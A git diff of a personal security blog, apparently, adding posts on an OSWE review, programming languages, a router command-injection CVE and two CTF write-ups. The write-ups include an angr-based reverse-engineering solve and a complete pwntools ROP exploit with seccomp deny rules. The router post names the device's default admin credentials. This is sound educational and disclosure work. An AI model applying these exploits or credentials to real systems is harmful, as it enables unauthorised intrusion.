estados que irão se repetir, podemos +usar um vetor para guardar o valor da função já computados. + + +```cpp +#include <bits/stdc++.h> +#define int long long int +using namespace std; + +const int mod = 1e9+7; +const int MAX = 1e4+20; + +int dp[MAX]={}; + +int solve(int pos) { + if(pos==0) return 1; + if(~dp[pos]) return dp[pos]; + + int ans=0; + + ans = (ans+solve(pos-1))%mod; + if(pos>=2) ans = (ans+4*solve(pos-2))%mod; + if(pos>=3) ans = (ans+2*solve(pos-3))%mod; + + return dp[pos]=ans; +} + +int32_t main() { + + memset(dp,-1,sizeof(dp)); + int n; + scanf("%lld",&n); + + printf("%lld\n",solve(n)); + + return 0; +} +``` + diff --git a/trees/blog/oswe-some-thoughts.typ b/trees/blog/oswe-some-thoughts.typ new file mode 100644 index 0000000..666e596 --- /dev/null +++ b/trees/blog/oswe-some-thoughts.typ @@ -0,0 +1,88 @@ +#import "html_elements.typ": post +#show: post + +Last weekend I got this email: + +> Dear Gabriel, +> We are happy to inform you that you have successfully completed the Advanced +> Web Attacks and Exploitation certification exam and have obtained your Offsec +> Web Expert (OSWE) certification. + + +There's something weird about opening those emails which contain the result of +something that I really wanted. Result in Rust's semantics, a Sum type, which +before opening it, I don't know if it worked or not. + +I feel a little bit betrayed by those emails because even if it didn't work, +it'll start by saying something nice like: "It was very good to know you!", or: +"First of all, congratulations for doing this whole process" + +Anyways, I read it all and was really happy and relieved. Here I'm going to +talk about my experience with it, review and tips. + + +== What is the OSWE + +The field of information security has a thing for certificates that I've never +seen while I was working in software engineering, it's very common to see +people with a handful of certificates. + +OSWE is made by _Offensive Security_, they're the company behind Kali Linux and +Metasploit. They have a lot of reputation in the industry and their +certificates are one of the most well regarded for Pentesting. + +They have a coulple of different categories for certificates, the most famous +one is probably the OSCP (which teaches a lot of stuff about pentesting in +general in various different environments). The OSWE is completely focused on +Web Apps, i.e. stuff that talks HTTP and that poops Javascript. + +One of the key things about this certificate is that it focus a lot on +white-box testing, this means that I spent a lot of time reading code, reading +debugging logs, etc. Doing white-box testing of course doesn't mean that you +can't black-box test it, but it's just way easier when you see the whole +picture. + +Offensive Security offers a course, Web-300, which is all the necessary +material for the OSWE exam. They have labs, text, and video material. + +When you have access to the course, you can schedule your OSWE exam, it takes +48 hours of hacking + 24 of reporting, it's tough. + +== OSWE Review + +I strongly believe that to understand something is a step in the direction of +hacking it. Every step of making a contribution of a software project, helps +you hack it, download the source code, understand the structure, download the +correct version of the toolchain, modify it, build it, test it. All of those +are part of it, and they really help in the hack's speed and success. + +I think the white-box approach that was used in the course is really good for +those reasons. The certification is really good if know what it is about and +wish to learn what it teaches. + +It's not for everyone on every stage of the career, I disagree with the people +that try to gatekeep it and say that you need X years of experience before +attempting it. If your work is mainly in Web Applications pentesting, or you +really wish to work with that, then I recommend it. + +It builds on a foundation of basic Linux skills, basic pentesting (like how to +get a reverse shell), programming (you really got to know how to code), and web +applications, you need to know those things before it, but nothing else more. + +I really liked it, the thing that I took away the most from it, is how to do +black-box testing more effectively. Yes, the course focuses on white-box +testing, but that perception that you get from looking at the code is turned +into an intuition about the working of web applications. I.e: Testing a Web +App, you'll try to guess how the backend implements the funcitonalities that +you're testing and that will help a lot. + +== OSWE Prep + +Before doing it, I recommend at least: + +- Doing a few easy and medium boxes on Hack the Box. +- Program a simple a web application using a popular framework like Django or + Spring. + + And that's pretty much it for the prep. + diff --git a/trees/blog/psychedelic-programming-languages.typ b/trees/blog/psychedelic-programming-languages.typ new file mode 100644 index 0000000..e05cc41 --- /dev/null +++ b/trees/blog/psychedelic-programming-languages.typ @@ -0,0 +1,203 @@ +#import "./html_elements.typ": post + +#show: post +// --- + +// title: Psychedelic Programming Languages +// slug: Psychedelic-Programming-Languages +// date: 2022-09-09 +// publish: true + +// --- + += A bit of background + +I started programming to make simple webpages and `Flash` games. To me it was +about interacting with those systems, adding automation to them. Not long after +that I started coding robots with `Arduino` and it was still just that, +automating turning on a led, reading a value, writing something to a terminal, +etc. + +It started to change when I discovered [The Coding +Train](https://www.youtube.com/c/TheCodingTrain), through that I started to +see, actually _see_ how complex and amazing could be the things you did with +code. It was then that I started to get concerned with abstractions, my code +grew bigger and everything was so messy! I needed some help. Processing is +_based_ on `Java` which means the tools that I used to handle that complexity +were Functions, Classes and Methods, it was actually fun. + + +At the same time, I was part of a team making `Arduino` robots to compete. I +quickly applied the tools that I learnt with Processing to `Arduino`, afterall +they're similar. I had no notion of state machines and agents, so the code was +a mess and it didn't work well. But, you know, all was good, I felt in control +of the code, still very fun. + + +During that time I met with some people that blew my mind my showing me how +_"real programmign"_ was like with `C#` and machine learning. I felt like I +needed to learn some real programming... and I wanted to code my own _Dwarf +Fortress_. I searched online, Dwarf Fortress was made in `C++`, `Arduino` was +_based_ on `C++` so it shouldn't be that hard, right? Right?? Well, I printed a +`C++` book, _Jumping into `C++`_ and ate it; it taught the basics of pointers, +structs, methods, classes and templates, it's a nice book. + += Making games + +Armed with my fresh new `C++` knowledge and the amazing [LazyFoo's SDL +tutorials](https://lazyfoo.net/tutorials/SDL/), I was ready to tackle any 2D +game that I could think of. +What is the game called you ask? [2dGame](https://github.com/gbrls/2dGame) of +course, why not? If you know something about `C++`, you already know that it +didn't work as I expected. Even though I grasped the language's syntax and +basic abstractions, _even though I KNEW pointers_ there was some giant beast +that destroyed me, the *_RUNTIME_*. + + +There were _segmentation faults_ all around, some predictable, some very +unpredictable. The issue was that before my code interacted with a small domain +(The `flash` engine, A small embedded system with `Arduino` helping me, the JVM +with Processing helping me) and now it interacted directly with the whole +computer system, _"real programming"_, or in fact, Systems Programming (I wish +I knew that back then). Classes and methods didn't help me if I dont't +understand the stack or the heap. + + += Having fun with Gophers + +I moved on to other things: Web programming in `Go`. When I discovered `Go` I felt +the same thing that I did when I started coding Processing. It was novel, fun, +and powerful. Some things struck me as essential to `Go`'s joy: + +- How simple it was. +- Easy parallelism. +- **How easy it was to use other peoples' code together with mine**. + +Due to those things I was making games easily, and interacting with the web +with joy. I learnt a lot of things and had a great time, thanks `Go`. + + +One of the things was semantic versioning of dependencies. I love immutable +things, `Go` was creating some sort of global registry for all of those different +versions and I got involved in some open source project related to it. It was +very little but it still felt nice. + += A lot of Systems Programming + +I can't recall why or how, but I started going back to Systems Programming, I +learnt _the basics_ of `Rust` and understood why programming `C++` was so hard back +then. +I was making steady progress learning about systems and programming in C. I'd +say that was the most formative time for me in terms of how much effort I +investest learning about programming and computers in general. + +I don't know why but I started reading _Land of `Lisp`_ and it really did fuck me up. + + += Psychedelic Programming Languages + += My first trip + +Common `Lisp` is a psychedelic programming language, and _Land of `Lisp`_ really +did show that. + + + + + +It's an +amazing book and it opened up my mind with `Lisp`. It presented itself in a very +"Look how amazing, cool, and different `Lisp` is!!" it clicked for me. Now the +walls seemed to breathe and I love parenthesis man! It also opened up my mind +to functional programming, that for a long time seemed to be only +reserved to academics obsessed with _proofs, purity and elegance(?)_. + + +This experience changed how I programmed and thought about programming. But I +still felt like the same Gabriel that breathed Systems Programming... but this +time a lot more confident in my programming skills. I decided to code a +minecraft clone from scratch using only `C++`, SDL, and OpenGL. This time, I want +to show the old Gabriel how good of a programmer I am now, how much I can do. I +still had some issues with the runtime, specially related to performance and +allocations, but this time I was able to [succeed +somewhat](https://github.com/gbrls/myncraft). + + += My second trip + +My second psychedelic programming experience was not given by a book or +something made by nature, but by this fella named [Dan +Grossman](https://www.coursera.org/instructor/~873260). He has a three part +course in Coursera named, you guessed it, _Programming Languages_. He's like +a Programming Languages god and taught `ML`, `Scheme`, and `Ruby` in an amazing way. + + +`ML` is a psychedelic language. It opened my eyes to what a good type system is +capable of. Fuck C's, `C++`'s fuck `Java`'s and fuck `Java`. `ML` has a **REAL** type +system. To me this really shows how powerful this experience was, when after it +you are fuck this fuck that I know better, fuck you. And `ML` gave me that. + +I guess I could've had that same experience from learning Haskell, but I never +was able to get into it, I guess it was just too... uptight, too square, too +self conscious. + +That course also taught me a lot of vocabulary and mechanisms to compare +programming languages fairly. It made me look `Rust` with new eyes, like dude, it +has _Sum Types_, **good** _Type Inference_ and all of those goodies. This time +I fell in love for `Rust`, for real (that's funny because the course had nothing +to do with it). + + +I felt blessed by the Programming Languages teaching, I was watching long +theoretical Programming Languages youtube videos, reading papers, writing +compilers, oh boy. That second trip really got me well, it changed me deeply. +Heck I even went to a conference (By luck that was 2020 and many important +conferences were being conducted remotely, even for free) and got to ask +questions to important people related to Programming Languages history. I was +in the same slack channel as Rich Hickey! isn't it crazy? + + +With some time my interests shifted a little from Systems Programming, those +languages that by the time were already my old friends like `C++` and `Rust` became +too heavy, I'm not thinking about performance nor memory that much, so why are +you getting in the way? + += Finding your home + += My third trip + +This one wasn't as crazy as the other ones, it felt like searching and finding +for my own home. I came across the book [Data Oriented +Programming](https://www.manning.com/books/data-oriented-programming) by +Yehonathan Sharvit, it talked about the style of programming that's commonly +adopted by `Clojure` programmers, they tend to focus on the data and +transformations to it. + +Things should be simpler, data organized only as plain data. Arrays, maps, +tuples. Functions transform data (never mutate it) and worry about the +runtime later. + +That's `Clojure`'s way (it even has two differents runtimes) and I feel like +that's also the Data Oriented Programming way. `Elixir` also fit in this niche +pretty nicely. So this time it's not even a just Programming Language, it's a +mix of a Programming Paradigm, a Language, and a Runtime. + + +I even feel somewhat disconnected from that old Systems Programmer Gabriel, +we're not the same person. My head is so tuned to programming this way now. +`Clojure` is a psychedelic programming language . Of course I still face some +problems, but they're different and better now. + + += Final thoughts + +That's what I wanted to say with this blogpost, how some experiences with +Programming feel so much _Psyschedelic_. They change the way +you think permanently, that they may feel even religious, they're powerful. + +Programming Languages, ideas about Programming in general can be crazy, very +philosophical, and practical at the same time. I think most of them should be +given a chance, they may change you. + + +Thanks for reading. Hope you had a good time. diff --git a/trees/blog/router-command-injection.typ b/trees/blog/router-command-injection.typ new file mode 100644 index 0000000..3eb5000 --- /dev/null +++ b/trees/blog/router-command-injection.typ @@ -0,0 +1,75 @@ +#import "html_elements.typ": img, post +#show: post + + +tldr; I found this command injection vulnerability and registered it as +#link("https://www.cve.org/CVERecord?id=CVE-2023-33617")[CVE-2023-33617] + + +This #link("https://www.cve.org/CVERecord?id=CVE-2023-33617")[CVE] is an Authenticated +Command Injection vulnerability. It affects Parks Fiberlink 210 routers, in the +firmware version `V2.1.14_X000`. + +This vulnerability has already been fixed in the version `V2.1.15_X000`, but +there are several vulnerable routers on the Internet. + +#img("/static/CVE-2023-33617-shodan-00.jpg") + +Parks is a Brazillian company that sells devices for enterprise, they seem to +be the only ones who sell this router. + +I've written an exploit in Python, [here it +is](https://gist.github.com/gbrls/58a5032bc58510abb908386124d1b4d2). It +leverages the default credentials, which are `admin:parks`, and checks if the +version is vulnerable. + + +If you have access to a router and want to manually check if you're vulnerable, +check the "Software Version". + +#img("/static/CVE-2023-33617-01.jpg") + += Hacking IoT devices is fun + +If you were here only for the technical details, that was it. Here I'll write +like I usually do in my other blogs and explain the story of how I found this +vulnerabiliy. + +Desktops nowdays have had their security significantly improved over the years, +to the point that the Anti Virus that comes out of the box in Windows is not +even bad. But have you ever heard about a router running an Antivirus? Have you +ever seem a router be updated? Yeah, and guess what, routers are in a very good +position in a network, they're taken for granted and often have their security +overlooked. + + +The thing that happens in routers that makes them specially vulnerable is that: + +- They usually have a WAN and LAN interface. +- Vendors often use the same admin credentials for all the devices they ship. +- Exposing your router's admin page to the Internet is as easy as changing the + listening interface from `127.0.0.1` to `0.0.0.0`. + + +Once you have access to one of those devices, there are multiple ways to go +from admin to root. Routers are a good target for exploitation so there are +many public CVEs. But if you don't find any exploitable CVE, there are two ways +to go from there: + +- Reversing firmware patches from the router itself and it's software + dependencies. _(This is how we look for non-public vulnerabilities)_ +- Looking for 0-days. + +The approach that I like to use to find new vulnerabilities is to look for +critical functionalities or dangerous funcionalities. e.g. The vulnerability +for this CVE comes from the ping funcionality in the router, it takes user +input and sends it to the ping command, this smells of command injection, and +this is what I follow, the smell. + + +#img("/static/CVE-2023-33617-00.jpg") + + +That's it, Happy Hacking! + + diff --git a/trees/blog/tfc-2024.typ b/trees/blog/tfc-2024.typ new file mode 100644 index 0000000..cf40479 --- /dev/null +++ b/trees/blog/tfc-2024.typ @@ -0,0 +1,277 @@ +#import "./html_elements.typ": post + +#show: post + +// --- +// title: "license - tfc 2024" +// date: 2024-08-12T15:26:51-03:00 +// draft: false +// description: "" +// tags: ["rev", "ctf"] +// --- + +This is a writeup for the [TFC CTF 2024](https://ctftime.org/event/2423/). + +For the challenge we are provided with a single binary called `license`. + +Let's check the file: + +```bash +$ file license +license: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=336b3d35e851f9b302e938e557e766e57ed406b7, for GNU/Linux 3.2.0, stripped +``` + +What I expected, a regular linux ELF binary, so let's see the security measures: + +```bash +$ checksec license + Arch: amd64-64-little + RELRO: Full RELRO + Stack: Canary found + NX: NX enabled + PIE: PIE enabled +``` + +Ok, everything looking normal so far. + +When the binary is executed, it asks for a license, this should be the flag we +have to find. + +I open the ELF in _binary ninja_ and go to the decompilation of the `main` +function. + +```c ++0x14ae int32_t main(int32_t argc, char** argv, char** envp) ++0x14ae { ++0x14c4 puts("Please enter your license key to…"); ++0x14e2 fgets(&buffer_start, 18, stdin); ++0x14f1 uint64_t rax = strlen(&buffer_start); ++0x14f1 ++0x14ff if (rax != 0x11) ++0x14ff { ++0x1506 exit(0); ++0x14ff } ++0x14ff ++0x1527 if ((rax != 0 && *(uint8_t*)(rax + 0x405f) == 0xa)) ++0x1538 *(uint8_t*)(rax + 0x405f) = 0; ++0x1538 ++0x1555 strncpy(&first_8, &buffer_start, 8); ++0x155a data_4088 = 0; ++0x155a ++0x1573 if (check_1st_half(&first_8) == 1) ++0x1573 { ++0x157f puts("Nope"); ++0x1589 exit(0); ++0x1573 } ++0x1573 ++0x1597 if (_9th_byte != '-') ++0x1597 { ++0x159e exit(0); ++0x1597 } ++0x1597 ++0x15bc strncpy(&last_8, &buffer_10th, 8); ++0x15bc ++0x15d3 if (check_2nd_half(&last_8) != 1) ++0x15d3 { ++0x15f8 puts("Congrats! Get the flag on remote…"); ++0x1603 return 0; ++0x15d3 } ++0x15d3 ++0x15df puts("Nope"); ++0x15e9 exit(0); ++0x14ae } +``` + +Due to the call to `strlen` and the conditional below it, we know that *the +flag is 17 characters long*. + +Then there is: + +- function that checks the first 8 chars of the flag. +- a conditional to check that the 9th char is `-`. +- a function to analyze the last 8 chars of the flag. + +So we already know that the 9th byte has to be `-`, so the flag format is +`XXXXXXXX-XXXXXXXX`. + +This is the decompilation of the `check_1st_half` function + +```c ++0x1209 int64_t check_1st_half(void* input_buffer) ++0x1209 { ++0x1219 void* fsbase; ++0x1219 int64_t rax = *(uint64_t*)((char*)fsbase + 0x28); ++0x12e6 void to_compare; ++0x12e6 ++0x12e6 for (int32_t i = 0; i <= 7; i += 1) // copy input_buffer to to_compare with a few modifications ++0x12e6 { ++0x1254 int32_t rax_7 = (i % 3); ++0x1254 ++0x1259 if (rax_7 == 2) ++0x12c1 *(uint8_t*)(&to_compare + ((int64_t)i)) = (*(uint8_t*)((char*)input_buffer + ((int64_t)i)) - 0x25); ++0x1259 else if (rax_7 == 0) ++0x1285 *(uint8_t*)(&to_compare + ((int64_t)i)) = (*(uint8_t*)((char*)input_buffer + ((int64_t)i)) ^ 0x5a); ++0x1262 else if (rax_7 == 1) ++0x12a3 *(uint8_t*)(&to_compare + ((int64_t)i)) = (*(uint8_t*)((char*)input_buffer + ((int64_t)i)) + 0x10); ++0x12a3 ++0x12da *(uint8_t*)(&to_compare + ((int64_t)i)) ^= 0x33; ++0x12e6 } ++0x12e6 ++0x12ec int32_t iter = 0; ++0x1328 int64_t result; ++0x1328 ++0x1328 while (true) // this checks if to_compose == global_flag_buffer_0 ++0x1328 { ++0x1328 if (iter > 7) ++0x1328 { ++0x132a result = 0; ++0x132a break; ++0x1328 } ++0x1328 ++0x1317 if (((uint32_t)*(uint8_t*)(&to_compare + ((int64_t)iter))) != ((int32_t)global_flag_buffer_0[((int64_t)iter)])) ++0x1317 { ++0x1319 result = 1; ++0x131e break; ++0x1317 } ++0x1317 ++0x1320 iter += 1; ++0x1328 } ++0x1328 ++0x1333 *(uint64_t*)((char*)fsbase + 0x28); ++0x1333 ++0x133c if (rax == *(uint64_t*)((char*)fsbase + 0x28)) ++0x1344 return result; ++0x1344 ++0x133e __stack_chk_fail(); ++0x1209 } +``` + +Reverse Engineering is the art of understanding how things work. So, reading the code we know that the function: + +- Copies the input buffer to a new buffer, doing a few operations on each character. +- Compares the new buffer against a global buffer, which is `"Xsl3BDxP"` + +So, to solve this part of the challenge we just need to provide 8 characters +that after they're copied to that new buffer they are `"Xsl3BDxP"`. + +There are multiple ways to do this - even just bruteforcing char by char - in +this chal I used [angr](https://angr.io/) to do this. This kind of problem is a classical application of angr - it's a symbolic execution engine - + + +```python +base = 0x400000 + +def first_check(project): + + check0_start = base + 0x1211 + check0_end = base + 0x12f5 + + initial_state = project.factory.entry_state( + addr = check0_start, + add_options = { angr.options.SYMBOL_FILL_UNCONSTRAINED_MEMORY, + angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS }) + simulation = project.factory.simgr(initial_state) + + + p0 = claripy.BVS('p0', 8 * 8) + input0_addr = initial_state.regs.rdi + initial_state.memory.store(input0_addr, p0) + + simulation.explore(find=check0_end) + + if simulation.found: + solution_state = simulation.found[0] + print('found!') + + to_compare_addr = solution_state.regs.rbp - 0x10 + constraint_sym = solution_state.memory.load(to_compare_addr, 8) + constraint_value = 'Xsl3BDxP'.encode() + solution_state.add_constraints(constraint_sym == constraint_value) + + print(solution_state.solver.eval(constraint_sym,cast_to=bytes)) + solution = solution_state.solver.eval(p0,cast_to=bytes) + return solution + else: + raise Exception('Could not find the solution') + +``` + +I don't mean to explain how do use angr here, but a quick summary of what this +script does is: + + +- Create a symbolic state where the execution will start (`0x1211` the function's start). +- Create a symbolic variable with 8 bytes. +- Mark where the symbolic variable will be during the initial stage (`RDI`), which is the register for the 1st argument in the [x64 linux call convention](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/linux-x64-calling-convention-stack-frame). +- Mark where the execution will stop (`0x12f5` right before comparing the strings). +- Add a constraint that the new buffer (stored at `RBP-0x10`) should be equal to the string that's going to check against. + + +With this script we have the solution for the first half, mazal tov! + +Due to some limitations of angr, the differences in the second function make it +harder to solve using this approach, so for the second function the approach +was different. + +```c ++0x1345 int64_t check_2nd_half(void* input_buffer) ++0x1345 { ++0x1463 for (int32_t i = 0; i <= 7; i += 1) ++0x1463 { ++0x1366 uint16_t* rdx_1 = *(uint64_t*)__ctype_b_loc(); ++0x1366 ++0x1390 if ((((uint32_t)rdx_1[((int64_t)*(uint8_t*)((char*)input_buffer + ((int64_t)i)))]) & 0x200) == 0) ++0x1390 { ++0x13e4 uint16_t* rdx_11 = *(uint64_t*)__ctype_b_loc(); ++0x13e4 ++0x140e if ((((uint32_t)rdx_11[((int64_t)*(uint8_t*)((char*)input_buffer + ((int64_t)i)))]) & 0x100) != 0) ++0x1459 *(uint8_t*)((char*)input_buffer + ((int64_t)i)) = (((int8_t)((((int32_t)*(uint8_t*)((char*)input_buffer + ((int64_t)i))) - 0x30) % 0x1a)) + 0x41); ++0x1390 } ++0x1390 else ++0x13db *(uint8_t*)((char*)input_buffer + ((int64_t)i)) = (((int8_t)((((int32_t)*(uint8_t*)((char*)input_buffer + ((int64_t)i))) - 0x5c) % 0x1a)) + 0x61); ++0x1463 } ++0x1463 ++0x1469 int32_t iter = 0; ++0x1469 ++0x14a5 while (true) // just checking the equality ++0x14a5 { ++0x14a5 if (iter > 7) ++0x14a7 return 0; ++0x14a7 ++0x1494 if (*(uint8_t*)((char*)input_buffer + ((int64_t)iter)) != global_flag_buffer_1[((int64_t)iter)]) ++0x1494 break; ++0x1494 ++0x149d iter += 1; ++0x14a5 } ++0x14a5 ++0x1496 return 1; ++0x1345 } +``` + + +This function is only slightly different: + +- The buffer gets modified in place. +- The modification uses `__ctype_b_loc`. + +This is enough to break a simple angr approach here. + +I wrote a bash script and `gdb` script to run the binary with every possible value for a byte, and print the value of the modified input. I ran this manually for all the bytes until I had the flag at the end. + +```bash +for i in {1..255} +do + I=$(printf '%02x' $i) + printf "${I}\x30\x84\x5a\x61\x9c\x11\x53\x2d\x68\x75\x47\x76\x59\x55\x75\x41" > input_x + Y=$(gdb -q -x ./table.gdb --batch --args ./license | grep '0x555555558090') + echo "$I = $Y" +done +``` + +```bash +break *0x55555555547c +run < input_x +x/8xb $rax +kill +quit +``` diff --git a/trees/blog/the-inevitability-of-getting-pwned.typ b/trees/blog/the-inevitability-of-getting-pwned.typ new file mode 100644 index 0000000..b3964eb --- /dev/null +++ b/trees/blog/the-inevitability-of-getting-pwned.typ @@ -0,0 +1,62 @@ +#import "html_elements.typ": post +#show: post + += The Inevitability of Getting Pwned + +In this blog I'll show the connections between hacking and Computing Theory to +show how getting owned is inevitable. + += Basic definition of a turing machine + +Let's start with a simple definition of a turing machine. +So, our basic turing machine has a few parts: + +- A tape, which we can write any symbols we like. +- A head, which is fixed on the tape, can move left, right, read symbols from the tape, and write symbols in it. +- A decidor (_more formally, a state machine_) that decides what to do next after reading a symbol in the tape. + +We say that computers can compute everything that a turing machine computes, and this is the basis for all the modern luxury that we have nowdays thanks to computers. +Computers are a complex digital beasts, but their beating heart is still something simple that is very similar to a turing machine, reading instructions, jumping, skipping instructions, writing to memory. + +But why talk about turing machines here? Well, turing machines are *very robust*, and this is a very good feature for us hackers... + +According to Michael Sipser in _Introduction to the Theory of Computation_ (which inspired me to write this): + +_"We call this invariance to certain changes in the definition *robustness* [..] Turing machines have an astonishing degree of robustness."_ + +In other words: Computers are general beasts, and they are very resistant to change, *it's hard to make a computer stop being a computer*. + +One example of this is that if we have a turing machine that has (for example) two tapes and two heads, it actually has the same power as a regular turing machine. + +This is good for Engineers who build computers because, if you follow the basic ideas of a turing machine when building a computer, well, it'll be able to compute everything. + += Brainfuck + +Brainfuck (depending who you ask) is the funniest programming language ever. It has a cool name, and it looks like this: + +```brainfuck +>++++++++[<+++++++++>-]<.>++++[<+++++++>-]<+.+++++++..+++.>>++++++[<+++++++>-]<+ +.------------.>++++++[<+++++++++>-]<+.<.+++.------.--------.>>>++++[<++++++++>- ]<+. +``` + +This is a "Hello, world" in brainfuck. After reading it I think you understand where the name comes from. + +Brainfuck is really simple, it only has the `> < + - , . ] [` symbols and it can do anything and any other (_good_) programming language can do; in fact, brainfuck can compute anything that's computable by a turing machine. + +How do we prove that? To do so, we need to simulate a turing machine using brainfuck, we already know that turing machines have a very flexible (and simple!) definition, thus simulating a turing machine using brainfuck shouldn't be very hard to visualize. + +When a language can compute anything that a computer can, we call it *turing complete*. + += Let's talk about hacking + +It's thanks to these principles that we can run Doom on almost anything nowdays. But what about owning stuff? + +The fundamental thing about computer security is that many systems accept arbitraty user input, and trying to make a computer *not do any computation* with the input that it receives is fundamentally against its nature. + +Securing computers is mostly an exercise of restricting the general powers of computers, such as isolating networks, blocking access to regions of memory, and monitoring the computer for "unintended/suspicious behaviour". + +So, the security in computer systems comes as a complexity on top of a simple and very hackable system. And we know that complexity is always fragile, it's prone to mishandle corner cases, miss attack vectors, and in general have unforseen consequences to the system. + +Sooo... Computers are hackable by nature, hacking is unleashing their most basic functionality (Arbitrary Code Execution). + +Happy Hacking! + diff --git a/trees/blog/the-twilight-of-20th-century-programs.typ b/trees/blog/the-twilight-of-20th-century-programs.typ new file mode 100644 index 0000000..1972f33 --- /dev/null +++ b/trees/blog/the-twilight-of-20th-century-programs.typ @@ -0,0 +1,77 @@ +#import "html_elements.typ": post +#show: post + += The Twilight of 20th century programs + +I like incremental improvements, it's almost like a mathematical induction. + + +Based on the previous step, I assume we'll take the next, that works a lot of times. + + +Is nice to have old things that still work, like a printed photograph. + + +The artifact generated by the camera and printer technologies relies only on our +vision and the printed material properties. + + +Modern books rely on similar things, like the paper, but, there's also a symbolic level. +A GOOD photograph will tell something that can be understood just by looking, but book +needs an alphabet, a language, i.e. higher level concepts. + + +A book typeset in Latex is another level of abstraction above, it contains the +instructions for a computer build the book. + +To me what's beautiful in that is not only each lens we use to see: +- A physical thing printed on paper is, like a photograph, or text. +- A book, filled with ideas, part of a larger culture. +- A computer program, that precisely defines a document. + + +But also how those levels interact with each other, and with the uncountable +others below or above it. + + +Some people look at that picture and focus only the computer to paper path. +- They see the automation of the typesetting, printing, and selling steps. +- Its a path takes humans away from a pipeline that turns ideas into physical +entities. + + +But there are so many different ways to see the world! Let's take the Latex to a +printed book path in reverse. + +How to we take the printed books we have in the world, and make the stairs to +reach the next levels of abstraction? I'll leave that up to your imagination for +now, lets apply this to brainfuck. + + +What's below, and what's above it? what's to the side of it? + +``` + turing machine -- lambda calculus + + brainfuck -- forth -- lisp + + x86_64 -- AArch64 +``` + +Let's take the path from brainfuck to the turing machine. The brainfuck +specification is a concrete instance of the abstract idea of a turing machine. +It's an extremely simple definition, that much like a seed, completely contains +the level above it. It encapsulates a higher level above it, in a specially +beautiful way due to it's simplicity, like a seed and a tree. + + +With brainfuck, just by carefully defining the <[+,.-]> symbols, we can carry +computers. Since in theory any program can be translated to brainfuck, we can +store any computer program in a brainfuck clay tablet, stone engraving, papyrus, +and it'll reasonably live forever. + + +To me that's one of the most beautiful things about both zig and typst. They +live side by side, creating simpler paths for humans to navigate the levels of +abstraction. An effort to create concrete implementations that try to contain +higher level abstractions, i.e. hermetic / leak-proof vessels. diff --git a/trees/blog/wolvctf-2025.typ b/trees/blog/wolvctf-2025.typ new file mode 100644 index 0000000..42a216d --- /dev/null +++ b/trees/blog/wolvctf-2025.typ @@ -0,0 +1,138 @@ +#import "./html_elements.typ": post + +#show: post +// +++ +// title = 'Wolvctf2025 Drywall' +// date = 2025-03-31T13:23:52-03:00 +// tags = ['pwn'] +// +++ + +// writeup coming soon... += Drywall + + += challenge source + +```c +#include <seccomp.h> +#include <stdio.h> +#include <stdlib.h> + +typedef void * scmp_filter_ctx; + +static char name[30]; + +void gift(){ + asm ("pop %rdx; ret;"); + asm ("pop %rax; ret;"); + asm ("syscall; ret;"); +} + +int main(){ + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + + scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW); + + + + seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve),0); + seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open),0); + seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat),0); + seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(readv),0); + seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(writev),0); + seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(process_vm_readv),0); + seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(process_vm_writev),0); + + + seccomp_load(ctx); + + char buf[256]; + puts("What is your name, epic H4x0r?"); + fgets(name, 30, stdin); + + printf("Good luck %s <|;)\n", name); + printf("%p\n",main); + fgets(buf, 0x256, stdin); + + return 0; +} +``` + + += solution + +```python +from pwn import * + +context.update(arch='amd64', os='linux') + +#b *(main+378) +#io = gdb.debug('./drywall', ''' +#b *(main+471) +#c +# ''') + +#io = process('./drywall') +io = remote('drywall.kctf-453514-codelab.kctf.cloud', 1337) + +io.send(b'.//./././././././././flag.txt') + +io.readline() +io.readline() +io.readline() + +base = int(io.readline(), 16) - 419 +print('base: ', hex(base)) + +pop_rdi = base+0x3db +pop_rax = base+0x19b +pop_rdx = base+0x199 +pop_rsi_pop_r15 = base+0x3d9 +syscall = base+413 + +flag = base+0x3050 + +p = b'' + +# openat(AT_FDCWD, "flag.txt", O_RDONLY) +p += p64(pop_rdi) +p += p64(0xffffff9c) # AT_FDCWD (-100) +p += p64(pop_rsi_pop_r15) +p += p64(flag) # Pointer to "flag.txt" +p += p64(0xdeadbeef) # R15 garbage +p += p64(pop_rdx) +p += p64(0) # O_RDONLY +p += p64(pop_rax) +p += p64(257) # openat syscall number +p += p64(syscall) + +# read(fd, flag, 100) +p += p64(pop_rax) +p += p64(0) # read syscall +p += p64(pop_rdi) +p += p64(3) # Assume fd=3 (first opened file) +p += p64(pop_rsi_pop_r15) +p += p64(flag) # Read into same buffer +p += p64(0xdeadbeef) # R15 garbage +p += p64(pop_rdx) +p += p64(100) # Read 100 bytes +p += p64(syscall) + +# write(fd=1, flag, bytes_read) +p += p64(pop_rax) +p += p64(1) # write syscall +p += p64(pop_rdi) +p += p64(1) # stdout +p += p64(pop_rsi_pop_r15) +p += p64(flag) +p += p64(0xdeadbeef) +p += p64(pop_rdx) +p += p64(100) +p += p64(syscall) + +io.sendline(cyclic(280) + p) +io.interactive() +``` + |
